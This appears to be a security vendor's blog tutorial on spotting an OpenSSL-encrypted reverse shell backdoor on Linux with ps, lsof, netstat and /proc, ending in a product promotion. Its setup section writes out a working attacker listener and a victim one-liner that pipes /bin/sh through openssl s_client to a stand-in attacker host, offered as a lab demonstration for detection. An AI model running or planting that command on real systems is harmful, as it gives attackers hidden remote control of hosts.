Detecting and Investigating OpenSSL Backdoors on Linux

A nightmare for security personnel on Linux is to find a backdoor operating. This means an attacker is interacting with the host in real-time to further their intrusion. Of various backdoors that can be used, the reverse bindshell backdoor is notorious. In this article we’ll talk about reverse bindshell backdoors on Linux. In particular, we’ll discuss an advanced backdoor that is sending traffic with OpenSSL encryption to hide and how to find it using simple command line forensics.

What is a Reverse Bindshell Backdoor?

A reverse bindshell backdoor is called “reverse” because instead of the attacker connecting to the victim, the attacker instead gets the victim system to connect back to them. The advantage of this type of backdoor is that if you can get the victim system to execute the command (e.g. through a vulnerable website), then you simply sit back and the victim’s machine will connect back to you.

Why is this special? It’s special because most network filtering is setup to block inbound traffic to protected systems. But, very often outbound network traffic is unrestricted or much less restricted.

The reverse bindshell is making the victim connect outbound which means that any packet filters you have may often (but not always) allow the traffic to connect to the attacker unimpeded. This is opposed to a standard backdoor where the attacker often tries to connect to a special port on the victim machine they setup to listen for them. The reverse bindshell backdoor therefore is a great way to hop firewalls and other protection mechanisms you have in place.

Backdoors Over OpenSSL

To make it worse for defenders, this backdoor we’ll discuss is sending traffic over the openssl command which will often be loaded by default on many servers. When you send traffic using the openssl command it is fully encrypted which makes it impossible to analyze using standard network intrusion detection and monitoring tools. The traffic is impenetrable and the best you’ll see is a strange connection to a remote system which could be legitimate or could be malicious. Even worse, it often appears to be just standard HTTPS traffic and may go ignored altogether in the sea of noise on a network.

Backdoor Setup

To setup an OpenSSL reverse bindshell backdoor we’ll need an attacker machine and a victim. On the attacker machine we’re going to generate a server key and start the server with these commands:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

On the victim we’ll simulate an attack by running this command which will open a connection back to the attacking host IP address:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP_ADDR:4444 > /tmp/s; rm /tmp/s

For example:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect  192.168.1.10:4444 > /tmp/s; rm /tmp/s

The above will connect back to a listening server at 192.168.1.10 on port 4444.

Backdoor Execution

If you run the commands above, you will see a prompt appear on your attacker machine that is actually the victim connecting back to you. The screens below show the sequence. The first is the attacker running as a server. The next is the victim machine as a client connecting back.

The victim command runs and captures the terminal.

On the attacker when hostname is run it is showing the victim’s hostname and not the attacker’s. At this point the attacker can run commands as the user on the victim. Here the user is root so the machine is totally compromised.

Investigating a Suspicious OpenSSL Process

Our assumption here is we’ve seen some network traffic that is suspicious as it originated from a server to an external host which is unusual. First thing is we login to the host and do our standard commands of ps, lsof and netstat to get a lay of the land to see what stands out:

ps -auxww

We see we have two suspicious processes (PID 21963 and 21964). Let’s look into their network activity. We’ll use the lsof and netstat tools to quickly see what stands out.

lsof | grep openssl

- OR-

lsof -p <PID>

netstat -nalp

Investigating Malicious Backdoor Process with /proc

Now that we’ve identified a suspicious process we’ll go into the /proc area to look for more confirmation. The easiest way to do this is simply:

cd /proc/<PID>

Here we know the PID is 21964 for the openssl process so we’ll do:

cd /proc/21964
ls -al

Under this directory we’ll see the core details about what the Linux kernel says is going on with the process. The basic ls command shows many good details:

If you wanted to at this point you could grab a hash of the binary for further investigation, or grab the binary entirely if you wanted to save it for further analysis. Just because the binary is calling itself “openssl” doesn’t mean it actually is. Saving it may be a good idea until you know for certain. Attackers could have replaced the binary with a legitimate name to avoid detection.

If they deleted the binary it will be flagged as (deleted) in the listing. You can follow these instructions if you want to recover a binary (deleted or not):

Recovering Deleted Malware Process Binary on Linux

Investigate Command Line, Environment and Maps

It is helpful to also look at some critical areas of a process to glean more information that may help you figure out if the process is in fact malicious. Three key areas are the command line arguments used, environment and process maps.

Let’s look at the command line first. The file /proc/<PID>/cmdline has the command line data in a null delimited format. This may make it hard to read with a standard cat command, but it works. It’s easier though if you have strings loaded:

strings cmdline

Along the above, you can also look at the /proc/<PID>/comm file to see that it too matches what the process is calling itself. Again with some malware it may appear different.

cat comm

Now we’ll look at the process environment which can reveal a lot of information about who or what started the process. The process environment can often reveal SSH connections that started a process, or whether there was some other network service such as a web server that was responsible.

strings environ

Finally, one last area worth quickly looking into is the process maps table. This will show you what binary and libraries a process is referring to when running. It may sometimes show hidden files or libraries the process may be using which can build a better picture of what is going on:

cat maps

Investigating File Descriptors of a Backdoor on Linux

The last area to investigate for this quick forensic triage are the open file descriptors the process is using. Open file descriptors can reveal a lot of information about a process and what it is doing or may be interested in. In the case of this openssl backdoor we’d expect to see some kind of open pipe and perhaps connections to another process for the shell. For other malware, the file descriptors may show you hidden files where it is logging data such as stolen credentials.

There is no need to pull out a debugger if the malware is just going to tell you what files it is interested in using under the file descriptors directory. Don’t make work for yourself!

To see what file descriptors a process has we will go to the /proc/<PID>/fd directory and simply do an ls command:

cd /proc/21964/fd
ls -al

A quick look at /tmp and we can see our open pipe there to confirm:

What About the Shell?

If you recall in the earlier ps listing we see a shell running (/bin/sh -i). This is indeed part of the backdoor and being used with those pipes from openssl to send commands and data back and forth.

You can investigate the shell with the same above steps. To cut to the chase, we can look at the /proc/<PID>/fd path and see immediately that the shell and openssl process share the same interest in our suspicious file under /tmp/s and a pipe with the same inode number. This is how the shell and openssl are connected and exchanging data.

What Now?

Now that you’ve confirmed the process is likely a malicious backdoor and not simply a developer that was using openssl to debug a certificate problem, it would be time to initiate your incident response procedure and further the investigation. With the above you were at least able to quickly find out if the problem was real or a false alarm and not burn unnecessary time.

Let’s Cheat and Automate the Investigation

Of course doing the above steps is great, but automation is the best way to find and discover these breaches before they get out of hand. We’ll use Sandfly, our agentless intrusion and compromise detection platform for Linux, to do the heavy lifting. We have a free license so you can do what you see below instantly.

These are all pretty severe alerts. One by one we’ll get the details.

We found the suspicious named pipe. Now let’s sweep up the other forensic artifacts so we have all our data ready to investigate. First we flag the command shell.

Now we’ll flag openssl being used to pipe the data over the network.

Finally for good measure we’ll report someone or something is running the openssl command in client mode which is usually only done for development and testing reasons.

Protect Your Linux Hosts Free

While manual investigation works, we recommend automating this kind of thing if you can. Sandfly will be looking for malicious activity like Linux backdoors for you 24/7 and without loading any software on your endpoints. You can get an instant license for Sandfly right now and use it for free below:

Protect Your Linux Hosts for Free